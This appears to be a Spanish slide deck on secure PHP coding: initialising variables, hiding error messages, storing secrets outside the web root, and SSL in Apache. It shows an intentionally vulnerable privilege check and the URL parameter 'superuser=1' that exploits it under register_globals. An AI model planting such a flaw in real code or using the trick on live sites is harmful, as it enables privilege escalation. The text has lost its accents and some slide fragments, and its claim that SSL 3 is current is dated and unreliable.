Para evitar o al menos disminuir las vulnerabilidades de una aplicacin web es muy importante seguir unas correctas prcticas de programacin. Veamos algunas de las ms importantes: Inicializacin de variables Gestin de errores Proteccin de informacin
122
Inicializacin de variables
Sea el siguiente cdigo:
if (comprueba_privilegios()) $superuser = true;
Una llamada de la forma

pagina.php?superuser=1
permitira obtener privilegios de superusuario. Este problema se soluciona dando un valor inicial a la variable $superuser:
$superuser = false; if (comprueba_privilegios()) $superuser = true;
123
En general es recomendable inicializar todas las variables antes de usarlas En PHP se puede usar la directiva error_reporting=E_ALL que hace que se muestre un mensaje de aviso cuando se use una variable que no haya sido previamente inicializada
124
Tambin se puede deshabilitar register_globals en el fichero php.ini La directiva register_globals establece si se admite o no la creacin automtica de variables globales A partir de PHP 4.2.0 el valor por defecto de esta directiva es off, que es el valor recomendable Para acceder a las variables globales se deben utilizar los arrays globales $_SERVER, $_ENV, $_REQUEST, $_GET, $_POST, $_COOKIE, $_FILES, $_SESSION y $_GLOBALS
125
PHP crea automticamente variables globales a partir del entorno (E), las cookies (C), la informacin del servidor (S) y los parmetros GET (G) y POST (P) La directiva variables_order controla el orden de estas variables. El valor por defecto es EGPCS Permitir la creacin de variables globales desde parmetros GET y POST y desde cookies es potencialmente peligroso. Un posible valor para variables_order que evita esto es ES En tal caso para acceder a los parmetros de los formularios y a las cookies hay que usar los arrays globales $_REQUEST, $_GET, $_POST y $_COOKIE
Ejercicio: error en la autentificacin de usuarios
127
Gestin de errores
Los mensajes de error son una fuente de informacin muy importante para los atacantes. Pueden proporcionar informacin sensible que les permita refinar sus ataques En un entorno de produccin debe evitarse la aparicin de mensajes de aviso o error. En PHP se pueden utilizar las siguientes directivas en php.ini:
display_errors = off log_errors = on error_log = /var/log/php_errors.log
Los errores irn al fichero especificado en lugar de mostrarse en la pantalla

Gestin de errores
Ejercicio: localizacin de pginas con errores
129
Proteccin de informacin
Toda informacin sensible debe almacenarse por separado del programa que la utiliza y preferentemente en un directorio situado fuera del rbol de directorios de la Web para evitar que pueda ser accedida por su URL En PHP se puede hacer indicando la ruta completa de los ficheros en las funciones include() y require() o mediante la directiva include_path en php.ini:
include_path = .:/usr/local/php:/usr/local/lib/myapp
De esta forma, aunque se revele el cdigo fuente de los programas, no se mostrar informacin que comprometa al sistema
Debe evitarse utilizar en el cdigo comentarios que den demasiados detalles acerca del funcionamiento del programa. Puede ser conveniente eliminarlos en la versin de produccin de la aplicacin Hay que suprimir las rdenes de depuracin colocadas en el cdigo durante su desarrollo Deben protegerse los ficheros que tengan el acceso restringido. Para ello no basta con suprimir los enlaces al fichero; alguien podra dar con su nombre y obtenerlo directamente escribiendo su URL. La seguridad a travs de la oscuridad no funciona
Ejercicio: revelacin de informacin en el cdigo fuente
132
Contenido
el el la la
133
SSL
SSL (Secure Socket Layer) es un protocolo para asegurar el transporte de datos entre el cliente y el servidor web. Diseado inicialmente por Netscape, hoy da es soportado por la mayora de los servidores web Podemos reconocer una conexin HTTP sobre SSL porque aparece el prefijo https en lugar de http en la URL
134
SSL
La versin actual de SSL es la 3 y a partir de ella se est desarrollando un protocolo pblico por parte del Internet Engineering Task Force (IETF), que se conoce como TLS (Transport Layer Security) y es compatible con SSL
135
SSL
SSL no es un protocolo simple sino que tiene dos niveles de protocolos El protocolo Record proporciona servicios de seguridad bsica a varios protocolos de nivel ms alto, entre ellos HTTP
136
SSL
SSL proporciona una comunicacin segura entre cliente y servidor permitiendo la autentificacin mutua, el uso de firmas digitales y garantizando la privacidad mediante encriptacin. Una sesin SSL se establece segn una secuencia de operaciones
137
SSL
138
SSL
139
Prctica 5: SSL en Apache

Creacin de un certificado digital Configuracin de Apache para utilizar el certificado en una conexin SSL
140

Seguridad en Las Aplicaciones Web

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Seguridad en Las Aplicaciones Web

Enviado por

Direitos autorais:

Formatos disponíveis

Seguridad en Sistemas Informticos e Internet